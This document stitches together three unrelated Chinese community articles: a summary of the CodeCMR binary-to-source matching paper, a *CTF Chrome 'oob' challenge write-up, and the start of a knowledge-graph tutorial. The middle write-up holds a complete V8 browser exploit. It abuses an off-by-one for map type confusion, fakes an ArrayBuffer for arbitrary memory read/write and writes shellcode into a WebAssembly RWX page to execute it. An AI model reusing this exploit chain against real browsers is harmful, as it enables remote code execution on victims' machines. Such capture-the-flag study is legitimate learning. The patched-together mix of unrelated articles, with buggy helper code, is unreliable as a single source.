2020收到投稿9454篇，创历史最高纪录，接收论文1900篇，论文接收率仅有历史最低的20.1%。
## 背景
论文链接：CodeCMR: Cross-Modal Retrieval For Function-Level Binary Source Code
Matching
<https://keenlab.tencent.com/zh/whitepapers/neurips-2020-cameraready.pdf>
在人工智能顶级学术会议AAAI
2020中，腾讯安全科恩实验室利用图神经网络解决二进制程序函数相似性分析问题的技术得到了广泛关注。在此基础上，本次研究方向扩展到二进制代码与源代码的交叉领域，进一步实现腾讯安全科恩实验室在AI+安全新兴方向中的全新探索与突破。
二进制代码-源代码匹配是信息安全领域的重点研究方向之一。在给定二进制代码的情况下，逆向分析研究人员希望找到它对应的源代码，从而提升逆向分析的效率和准确率。但由于源代码和二进制代码的差异性，在此领域的研究较少。B2SFinder[1]和BinPro[2]等传统算法提取源代码和二进制代码的字符串、立即数等特征进行匹配。然而，函数级别的源代码与二进制代码的特征非常少，匹配准确率不高。另一方面，设计合适的特征需要大量的专家经验。
图1展示了一个函数的源代码与二进制代码。从图1中可以看出，除了字符串和立即数特征，代码中隐藏的语义特征也很关键。因此，本文希望设计一种端到端模型，可以自动提取代码间的语义特征，从而提升匹配的准确率。
图1 – 二进制代码与对应的源代码
## 模型
这是一个二进制代码-源代码间的检索任务，我们把两种代码当作两个模态的输入，即可类比到图文互搜等跨模态检索场景。因此，我们设计了如图2所示的CodeCMR框架，在跨模态检索领域中，这是一种比较常见的结构[3,
4]。在计算最终向量之前，两个模态之间没有信息传递，因此在实际应用时可以预先计算向量，可以节省大量的线上计算时间以及存储空间。
图2 – CodeCMR整体框架
## 整体结构
模型的输入有源代码特征和二进制代码特征两个部分。其中源代码特征是字符级别的源代码、从源代码中提取的字符串和立即数；二进制代码特征是控制流图、二进制代码的字符串和立即数。首先将三个输入（语义特征、字符串特征、立即数特征）分别用不同模型计算得到向量，再用拼接+BatchNorm的方式得到代码向量，最后用triplet
loss[5]作为损失函数。
在这个基础框架上，有许多可以改进的创新点，例如使用预训练模型做语义融合、使用adversarial loss对齐向量等，对此我们将在后文讨论。
图3 – 源代码与二进制代码的语义模型
## 语义模型
如图3所示，对于字符级源代码，我们使用的是DPCNN模型[6]；对于二进制控制流图，我们使用的是端到端的GNN模型。在函数级别，字符级源代码的输入通常在4096以上，DPCNN的效果远优于TextCNN和LSTM。对于控制流图，我们没有使用BERT预训练的node
embedding作为输入[7]，而是采用了端到端训练的方式，取得了更好的效果。
在这个阶段，本文使用的是DPCNN和GNN，但ASTNN等树模型也同样值得尝试。由于输入是函数级别的代码，缺少#define、#include等重要信息，需要设计合适的编译工具将源代码转化为AST。相比之下，我们直接将文本作为输入的优点是无需额外的专家经验，健壮性强。
## 立即数、字符串模型
对于源代码与二进制代码的立即数和字符串，我们同样设计了模型进行匹配。
对于立即数，我们设计了一种Integer-LSTM。它的输入有integer token和integer number两个。integer
number作用在LSTM的输入门和输出门，从而控制信息流动。
对于字符串，我们使用的是层次模型，先用LSTM模型得到每个字符串的向量，再使用sum pooling的方法得到字符串集合的向量。
## Norm weighted sampling
在得到源代码与二进制代码的向量后，我们设计了一种采样方法。在metric
learning领域中，损失函数和采样方法是十分重要的两个模块。为了解决hard样本在训练早期收敛到局部极小值的问题，[5]提出了semi-hard采样方法。然而，[8]指出这种采样方法可能会在某个时间段停止训练，从而提出了distance weighted
sampling采样方法解决这个问题：
distance weighted sampling可以在分布中选择各个概率的样本，而semi-hard、hard、uniform等采样方法只能选择特定分布的样本。在此基础上，本文提出了一个改进，即增加一个超参数s，帮助调整概率的分布，从而适应不同的任务和数据集。
## 实验
## 数据集与评测指标
本文分别用gcc-x64-O0和clang-arm-O3作为两种组合方式，制作了两个30000/10000/10000的训练/验证/测试集，并使用recall@1和recall@10作为评测指标。数据集已公开在<https://github.com/binaryai>。
表1 – 实验结果
## 实验结果
如表1所示，本文提出的方法与传统方法相比有巨大提升，这一发现符合我们的预期，说明代码间隐含的语义特征十分重要。在语义模型中，DPCNN+HBMP取得了最优的效果，说明在二进制侧端到端训练优于预训练的node
embedding。与随机采样和distance weighted采样方法相比，norm weighted采样效果更好。图4的train/valid
loss曲线也证明了这一点，当s=5时norm weighted sampling的train loss更高但valid
loss更低，这表示采样到更合适的样例pair。
图4 – 训练与验证的损失函数曲线
## 讨论与总结
### 讨论
基于CodeCMR框架，有很多值得尝试的创新。1）code encoder。ASTNN、Tree-LSTM、transformer等模型可能也同样有效。2）其它损失函数和采样方法，如AM-softmax、Circle
loss等。3）对抗训练以及其它的跨模态检索领域的方法。4）预训练算法。在获得最终向量前两个模态没有信息融合，因此在两个模态分别单独预训练或用跨语言模型的方法融合训练，均是值得尝试的。
### 总结
本文针对二进制代码-源代码匹配任务提出了CodeCMR框架，成功地利用了源代码与二进制代码间的语义特征。与传统方法相比，取得了很大的突破。
## 参考文献
1. Yuan Z, Feng M, Li F, et al. B2SFinder: Detecting Open-Source Software Reuse in COTS Software[C]//2019 34th IEEE/ACM International Conference on Automated Software Engineering (ASE). IEEE, 2019: 1038-1049.
2. Miyani D, Huang Z, Lie D. Binpro: A tool for binary source code provenance[J]. arXiv preprint arXiv:1711.00830, 2017.
3. Wang H, Sahoo D, Liu C, et al. Learning cross-modal embeddings with adversarial networks for cooking recipes and food images[C]//Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition. 2019: 11572-11581.
4. Wang B, Yang Y, Xu X, et al. Adversarial cross-modal retrieval[C]//Proceedings of the 25th ACM international conference on Multimedia. 2017: 154-162.
5. Schroff F, Kalenichenko D, Philbin J. Facenet: A unified embedding for face recognition and clustering[C]//Proceedings of the IEEE conference on computer vision and pattern recognition. 2015: 815-823.
6. Johnson R, Zhang T. Deep pyramid convolutional neural networks for text categorization[C]//Proceedings of the 55th Annual Meeting of the Association for Computational Linguistics. 2017: 562-570.
7. Yu Z, Cao R, Tang Q, et al. Order Matters: Semantic-Aware Neural Networks for Binary Code Similarity Detection[C]//Proceedings of the AAAI Conference on Artificial Intelligence. 2020, 34(01): 1145-1152.
8. Wu C Y, Manmatha R, Smola A J, et al. Sampling matters in deep embedding learning[C]//Proceedings of the IEEE International Conference on Computer Vision. 2017: 2840-2848.
## 阅读原文
neurips_2020_cameraready.pdf
<https://keenlab.tencent.com/zh/whitepapers/neurips-2020-cameraready.pdf> | 社区文章 |
# *ctf chrome oob writeup
## bug
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();//check len<=2,else return undefine
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));---->length off by one
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());---->length off by one
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
可以看到在length这里有一个off-by-one
另外，这里有一个非预期的UAF，其实在Object::ToNumber(isolate,
args.at<object>(1)))可以触发回调，通过valueof或者Symbol.toPrimitive可以在这里将array的length改成0之后强制GC将其回收掉，然后重新喷内存占位，由于我们之前缓存了length，可以一开始用一个非常大的length，而此时占位的array是我们可控的，可以占位一个length比较小的array，于是就可以任意OOB，而不是off
by one。
类似的做法参考CVE-2017-5053，应该也是可以这么利用的，我没做太多尝试，有兴趣的同学可以试一下，不过显然这种做法会非常不稳定。
## 基础知识
v8通过map来判断类型，通过off-by-one来修改map即可产生type confusion
## trick
### splice
通过splice控制array的内存排布紧邻。
var ab = new ArrayBuffer(0x1000);
var a = [1.1, 1.1, 1.1, 1.1];
var b = [{}, {}, ab, 2.2, 2.2];
var c = [3.3, 3.3, 3.3, 3.3, 3.3];
//布局内存，让array连续存放
a = a.splice(0);
b = b.splice(0);
c = c.splice(0);
test如下：
可以看到如图所示的内存布局：
a elements的length位置存放的就是a obj的map了，于是a.oob(xxx)就可以将a的map给覆盖掉。
//0x33a1055ce0e1->0x33a1055ce0b1
//0x33a1055ce139->0x33a1055ce101
//0x33a1055ce191->0x33a1055ce159
// x/60gx 0x33a1055ce0b1-1
// 0x33a1055ce0b0: {0x000033a10f4814f9 0x0000000400000000->a elements
// 0x33a1055ce0c0: 0x3ff199999999999a 0x3ff199999999999a
// 0x33a1055ce0d0: 0x3ff199999999999a 0x3ff199999999999a}
// 0x33a1055ce0e0: {0x000033a14e0c2ed9 0x000033a10f480c71->a obj
// 0x33a1055ce0f0: 0x000033a1055ce0b1 0x0000000400000000}
// 0x33a1055ce100: {0x000033a10f480801 0x0000000500000000->b elements
// 0x33a1055ce110: 0x000033a1055cdfc9 0x000033a1055ce001
// 0x33a1055ce120: 0x000033a1055cdf01 0x000033a12d09f3f9
// 0x33a1055ce130: 0x000033a12d09f409}
// {0x000033a14e0c2f79->b obj
// 0x33a1055ce140: 0x000033a10f480c71 0x000033a1055ce101
// 0x33a1055ce150: 0x0000000500000000}
// {0x000033a10f4814f9->c elements
// 0x33a1055ce160: 0x0000000500000000 0x400a666666666666
// 0x33a1055ce170: 0x400a666666666666 0x400a666666666666
// 0x33a1055ce180: 0x400a666666666666 0x400a666666666666}
// 0x33a1055ce190: {0x000033a14e0c2ed9 0x000033a10f480c71->c obj
// 0x33a1055ce1a0: 0x000033a1055ce159 0x0000000500000000}
// 0x33a1055ce1b0: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
// 0x33a1055ce1c0: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
// 0x33a1055ce1d0: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
### gc
在要fake的arraybuffer的前后两次gc，使其内存分布更稳定。
### debug
调试的话，直接在对应版本的v8 release上调试，然后写到html里，放到chrome里就行了，偏移什么的都没有改变。
也可以直接gdb attach到chrome里调试。
## exp
利用思路非常简单
首先分配两个array，一个double array，一个object array
然后通过覆盖object array的map为double map，就可以将其中的用户空间对象leak出来。
然后在array的elments去fake一个arraybuffer。
然后通过将double array的map覆盖成object array，就可以将fake好的arraybuffer给当成object给取出来。
而这个fake的arraybuffer的内容是我们可控的，于是就可以任意地址读写了。
接下来就是找到wasm_func里rwx的地址，将shellcode写入执行即可。
我的exp写的比较dirty。
<html>
<script>
String.prototype.padLeft =
Number.prototype.padLeft = function(total, pad) {
return (Array(total).join(pad || 0) + this).slice(-total);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++){
//print(bytes[i].toString(16));
res.push(('0' + bytes[i].toString(16)).substr(-2));
}
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
var chunk = data.slice(i, i+16);
for (var i = 0; i < data.length; i += 16) {
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
//print(bigEndian.toString());
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
//print("toString");
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a & b
this.assignAnd = operation(function and(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) & b.byteAt(i);
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Return a & b
function And(a, b) {
return (new Int64()).assignAnd(a, b);
}
function hex(a) {
if (a == undefined) return "0xUNDEFINED";
var ret = a.toString(16);
if (ret.substr(0,2) != "0x") return "0x"+ret;
else return ret;
}
function lower(x) {
// returns the lower 32bit of double x
return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-8,8),16) | 0;
}
function upper(x) {
// returns the upper 32bit of double x
return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-16, 8),16) | 0;
}
function lowerint(x) {
// returns the lower 32bit of int x
return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}
function upperint(x) {
// returns the upper 32bit of int x
return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}
function combine(a, b) {
//a = a >>> 0;
//b = b >>> 0;
//print(a.toString());
//print(b.toString());
return parseInt(Int64.fromDouble(b).toString() + Int64.fromDouble(a).toString(), 16);
}
//padLeft用于字符串左补位
function combineint(a, b) {
//a = a >>> 0;
//b = b >>> 0;
return parseInt(b.toString(16).substr(-8,8) + (a.toString(16)).padLeft(8), 16);
}
// based on Long.js by dcodeIO
// https://github.com/dcodeIO/Long.js
// License Apache 2
class _u64 {
constructor(hi, lo) {
this.lo_ = lo;
this.hi_ = hi;
}
hex() {
var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16)
var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16)
if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length);
if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length);
hlo = "00000000" + hlo
hlo = hlo.substr(hlo.length-8, hlo.length);
return "0x" + hhi + hlo;
}
isZero() {
return this.hi_ == 0 && this.lo_ == 0;
}
equals(val) {
return this.hi_ == val.hi_ && this.lo_ == val.lo_;
}
and(val) {
return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_);
}
add(val) {
var a48 = this.hi_ >>> 16;
var a32 = this.hi_ & 0xFFFF;
var a16 = this.lo_ >>> 16;
var a00 = this.lo_ & 0xFFFF;
var b48 = val.hi_ >>> 16;
var b32 = val.hi_ & 0xFFFF;
var b16 = val.lo_ >>> 16;
var b00 = val.lo_ & 0xFFFF;
var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
c00 += a00 + b00;
c16 += c00 >>> 16;
c00 &= 0xFFFF;
c16 += a16 + b16;
c32 += c16 >>> 16;
c16 &= 0xFFFF;
c32 += a32 + b32;
c48 += c32 >>> 16;
c32 &= 0xFFFF;
c48 += a48 + b48;
c48 &= 0xFFFF;
return new _u64((c48 << 16) | c32, (c16 << 16) | c00);
}
addi(h,l) {
return this.add(new _u64(h,l));
}
subi(h,l) {
return this.sub(new _u64(h,l));
}
not() {
return new _u64(~this.hi_, ~this.lo_)
}
neg() {
return this.not().add(new _u64(0,1));
}
sub(val) {
return this.add(val.neg());
};
swap32(val) {
return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
}
bswap() {
var lo = swap32(this.lo_);
var hi = swap32(this.hi_);
return new _u64(lo, hi);
};
}
var u64 = function(hi, lo) { return new _u64(hi,lo) };
function gc(){
for (var i = 0; i < 1024 * 1024 * 16; i++){
new String();
}
}
const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(
new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
gc();
gc();
var fake_arraybuffer = [
//map|properties
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
//elements|length
new Int64(0x0).asDouble(),
new Int64(0x1000).asDouble(),
//backingstore|0x2
new Int64(0x0).asDouble(),
new Int64(0x2).asDouble(),
//padding
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
//fake map
new Int64(0x0).asDouble(),
new Int64(0x1900042319080808).asDouble(),
new Int64(0x00000000082003ff).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
].splice(0);
gc();
gc();
// %DebugPrint(fake_arraybuffer);
var ab = new ArrayBuffer(0x1000);
var a = [1.1, 1.1, 1.1, 1.1,1.1];
var b = [fake_arraybuffer, wasm_instance, ab, 2.2, 2.2];
var c = [3.3, 3.3, 3.3, 3.3, 3.3];
//布局内存，让array连续存放
a = a.splice(0);
b = b.splice(0);
c = c.splice(0);
// leak出double/object array的map
// print("0x" + Int64.fromDouble(a.oob()).toString(16));
// print(new Int64(Int64.fromDouble(a.oob())).asDouble());
double_map = a.oob();
console.log("doube map is:");
console.log(Int64.fromDouble(double_map).toString(16));
console.log("object map is:");
object_map = b.oob();
console.log(Int64.fromDouble(object_map).toString(16));
//覆盖object array的map为double,于是可以通过b来leak
b.oob(double_map);
fake_arraybuffer_obj = b[0];
console.log(Int64.fromDouble(fake_arraybuffer_obj).toString(16));
// %DebugPrint(fake_arraybuffer);
fake_arraybuffer_elem = fake_arraybuffer_obj + new Int64(0xc70).asDouble();//这个偏移需要适配
console.log("fake_arraybuffer addr is:");
console.log(Int64.fromDouble(fake_arraybuffer_elem).toString(16));
console.log("fake_arraybuffer map is:");
fake_arraybuffer_map = fake_arraybuffer_elem + new Int64(0x40).asDouble();
console.log(Int64.fromDouble(fake_arraybuffer_map).toString(16));
fake_arraybuffer[0] = fake_arraybuffer_map;
// %DebugPrint(wasm_instance);
console.log("wasm_instance is:");
console.log(Int64.fromDouble(b[1]).toString(16));
locate_rwx_addr = b[1] + new Int64(0x88 - 0x1).asDouble();
fake_arraybuffer[4] = locate_rwx_addr;
var d = [fake_arraybuffer_elem, 1.1, 1.1];
d.oob(object_map);
var dv = new DataView(d[0]);
console.log("fake_arraybuffer done");
// %DebugPrint(dv);
rwx_addr = dv.getFloat64(0, true);
console.log("rwx addr is:");
console.log(Int64.fromDouble(rwx_addr).toString(16));
fake_arraybuffer[4] = rwx_addr;
for (i = 0; i < shellcode.length; i++){
dv.setUint32(i * 4, shellcode[i], true);
}
wasm_func();
</script>
</html>
测试机器ubuntu16.04
</object> | 社区文章 |
Author：薇拉vera@[勾陈安全实验室](http://www.polaris-lab.com/ "勾陈安全实验室")
> “The world is not made of strings , but is made of things.”
> ——辛格博士，from Google.
写在前面，对知识图谱的了解源于我在刘峤老师实验室里所做的【知识图谱中的关系推理】这方面的研究，在来到公司上班之后，意外发现在工业界这一块也有着非常巨大的需求。当然工业界面临的数据量和问题也是学术界远远不可启及的……
总之，最近决定把这个技能捡起来打磨打磨重新上膛，遂准备通过这一系列文章来对知识图谱进行一次梳理。
欢迎对这个方向感兴趣的童鞋们来交流~也欢迎同行指出这系列文章的不足！先行鞠躬笔芯感谢！
# 0x01 定义
俗话说：“看人先看脸。”在我们深入了解知识图谱之前，让我们先来看一下它长什么样子!
emmm这是百度知识图谱给出的小时代关系图谱的样子，你可以看到，如果两个角色之间有关系，他们就会被一条无向边连接在一起，那么这个角色，我们就称为实体（Entity）/节点（Point），他们之间的这条边，我们就称为关系（Relationship）/边（Edge）。
当然，实际的知识图谱当然不会像这种人为处理过的看起来这么舒服……给大家看几张更真实一点的知识图谱的样子——
还有这样……
总而言之，知识图谱本质上就是上图展示出来的这种语义网络，是一种基于图的数据结构，由 **节点(Point)和边(Edge)**
组成。在知识图谱里，每个节点表示现实世界中存在的“实体”，每条边为实体与实体之间的“关系”。
# 0x02 存储方式
知识图谱的存储方式通常分为以下两种——
* **RDF存储格式**
主要常用Jena
* **图数据库(Graph Database)**
主要常用neo4j
**采用图数据库而不是关系数据库的原因？**
1. 简单的知识图谱可以用关系数据库，但是一旦知识图谱变复杂，在关联查询的效率上会比传统的存储方式有显著的提高。当我们涉及到2,3度的关联查询，基于知识图谱的查询效率会高出几千倍甚至几百万倍。
2. 基于图的存储在设计上会非常灵活，一般只需要局部的改动即可。
3. 把实体和关系存储在图数据结构是一种符合整个故事逻辑的最好的方式。
# 0x03 知识图谱的架构
知识图谱的架构主要可以被分为
* 逻辑架构
* 技术架构
## 3-1逻辑架构
在逻辑上，我们通常将知识图谱划分为两个层次： **数据层和模式层** 。
* **模式层：** 在数据层之上，是知识图谱的核心，存储经过提炼的知识，通常通过 **本体库** 来管理这一层这一层（本体库可以理解为面向对象里的“类”这样一个概念，本体库就储存着知识图谱的类）。
* **数据层：** 存储真实的数据。
如果还是有点模糊，可以看看这个例子——
> 模式层：实体-关系-实体，实体-属性-性值
> 数据层：比尔盖茨-妻子-梅琳达·盖茨，比尔盖茨-总裁-微软
## 3-2 技术架构
知识图谱的整体架构如图所示，其中虚线框内的部分为知识图谱的构建过程，同时也是知识图谱更新的过程。
别紧张，让我们顺着这张图来理一下思路。首先我们有一大堆的数据，这些数据可能是结构化的、非结构化的以及半结构化的，然后我们基于这些数据来构建知识图谱，这一步主要是通过一系列自动化或半自动化的技术手段，来从原始数据中提取出知识要素，即一堆实体关系，并将其存入我们的知识库的模式层和数据层。
构建知识图谱是一个迭代更新的过程，根据知识获取的逻辑，每一轮迭代包含三个阶段——
* **信息抽取：** 从各种类型的数据源中提取出实体、属性以及实体间的相互关系，在此基础上形成本体化的知识表达；
* **知识融合：** 在获得新知识之后，需要对其进行整合，以消除矛盾和歧义，比如某些实体可能有多种表达，某个特定称谓也许对应于多个不同的实体等；
* **知识加工：** 对于经过融合的新知识，需要经过质量评估之后（部分需要人工参与甄别），才能将合格的部分加入到知识库中，以确保知识库的质量。
## 3-3构建方式
知识图谱有自顶向下和自底向上2种构建方式。
* **自顶向下：**
借助百科类网站等结构化数据源，从高质量数据中提取本体和模式信息，加入到知识库中；
* **自底向上**
借助一定的技术手段，从公开采集的数据中提取出资源模式，选择其中置信度较高的新模式，经人工审核之后，加入到知识库中。
# 0x04 构建技术
【这里提到的构建技术主要是自底向上的构建方式里会涉及到的构建技术】
如前所述，构建知识图谱是一个迭代更新的过程，根据知识获取的逻辑，每一轮迭代包含三个阶段——
* **信息抽取：** 从各种类型的数据源中提取出实体、属性以及实体间的相互关系，在此基础上形成本体化的知识表达；
* **知识融合：** 在获得新知识之后，需要对其进行整合，以消除矛盾和歧义，比如某些实体可能有多种表达，某个特定称谓也许对应于多个不同的实体等；
* **知识加工：** 对于经过融合的新知识，需要经过质量评估之后（部分需要人工参与甄别），才能将合格的部分加入到知识库中，以确保知识库的质量。
见下图——
## 4-1 信息抽取
信息抽取（infromation extraction）是知识图谱构建的第1步，其中的关键问题是——
> 如何从异构数据源中自动抽取信息得到候选指示单元。
> 信息抽取是一种自动化地从半结构化和无结构数据中抽取实体、关系以及实体属性等结构化信息的技术。
> 涉及的关键技术包括： **实体抽取、关系抽取和属性抽取。**
### 4-1-1 实体抽取
**实体抽取** ，也称为 **命名实体识别（named entity recognition，NER）** ，是指从文本数据集中自动识别出命名实体。
**研究历史：**
1. 面向单一领域，关注如何识别出文本中的人名、地名等专有名词和有意义的时间等实体信息
1. 启发式算法+人工规则，实现自动抽取实体的原型系统
2. 统计机器学习方法辅助解决命名实体抽取问题
3. 有监督学习+先验知识
2. 开始关注 **开放域（open domain）** 的信息抽取问题，不再限定于特定的知识领域，而是面向开放的互联网，研究和解决全网信息抽取问题。
1. 人工建立科学完整的命名实体分类体系
2. 基于归纳总结的实体类别，基于条件随机场模型进行实体边界识别，最后采用自适应感知机实现对实体的自动分类
3. 采用统计机器学习的方法，从目标数据集中抽取出与之具有相似上下文特征的实体，从而实现实体的分类和聚类。
4. 迭代扩展实体语料库
5. 通过搜索引擎的服务器日志，聚类获取新出现的命名实体。——已应用于自动补全技术
### 4-1-2 关系抽取
文本语料经过实体抽取，得到的是一系列离散的命名实体，为了得到语义信息，还需要从相关语料中提取出实体之间的关联关系，通过关系将实体联系起来，才能够形成网状的知识结构。这就是
**关系抽取** 需要做的事。
**研究历史：**
1. 人工构造语法和语义规则（模式匹配）
2. 统计机器学习方法
3. 基于特征向量或核函数的有监督学习方法
4. 研究重点转向半监督和无监督
5. 开始研究面向开放域的信息抽取方法
6. 将面向开放域的信息抽取方法和面向封闭领域的传统方法结合
### 4-1-3 属性抽取
**属性抽取** 的目标是从不同信息源中采集特定实体的属性信息，如针对某个公众人物，可以从网络公开信息中得到其昵称、生日、国籍、教育背景等信息。
**研究历史：**
1. 将实体的属性视作实体与属性值之间的一种名词性关系，将属性抽取任务转化为关系抽取任务。
2. 基于规则和启发式算法，抽取结构化数据
3. 基于百科类网站的半结构化数据，通过自动抽取生成训练语料，用于训练实体属性标注模型，然后将其应用于对非结构化数据的实体属性抽取。
4. 采用数据挖掘的方法直接从文本中挖掘实体属性和属性值之间的关系模式，据此实现对属性名和属性值在文本中的定位。
## 4-2 知识融合
通过信息抽取，我们就从原始的非结构化和半结构化数据中获取到了实体、关系以及实体的属性信息。
如果我们将接下来的过程比喻成拼图的话，那么这些信息就是拼图碎片，散乱无章，甚至还有从其他拼图里跑来的碎片、本身就是用来干扰我们拼图的错误碎片。
**也就是说——**
* 拼图碎片（信息）之间的关系是扁平化的，缺乏层次性和逻辑性；
* 拼图（知识）中还存在大量冗杂和错误的拼图碎片（信息）
那么如何解决这一问题，就是在知识融合这一步里我们需要做的了。
知识融合包括2部分内容：
* 实体链接
* 知识合并
### 4-2-1 实体链接
**实体链接（entity linking）** 是指对于从文本中抽取得到的实体对象，将其链接到知识库中对应的正确实体对象的操作。
